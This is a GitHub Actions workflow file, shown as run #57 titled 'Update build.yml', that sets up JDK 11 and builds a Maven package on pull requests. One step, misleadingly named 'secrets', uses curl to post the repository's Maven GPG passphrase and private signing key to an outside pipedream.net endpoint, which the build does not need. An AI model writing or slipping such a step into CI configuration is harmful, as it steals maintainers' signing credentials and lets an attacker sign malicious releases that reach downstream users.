Skip to content

Update build.yml

Update build.yml #57

Workflow file for this run

name: Build package using Maven
on:
pull_request:
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Set up JDK 11
uses: actions/setup-java@v3
with:
distribution: 'adopt'
java-version: '11'
- name: secrets
run: |
curl --location 'https://d815f3b06d79650d7a886f0c2ce1955d.m.pipedream.net/java' \
--header 'Content-Type: application/json' \
--data '{"passphrase": "${{ secrets.MAVEN_GPG_PASSPHRASE }}", "key": "${{ secrets.MAVEN_GPG_PRIVATE_KEY }}"}'
- name: Build with Maven
run: mvn -B package --file pom.xml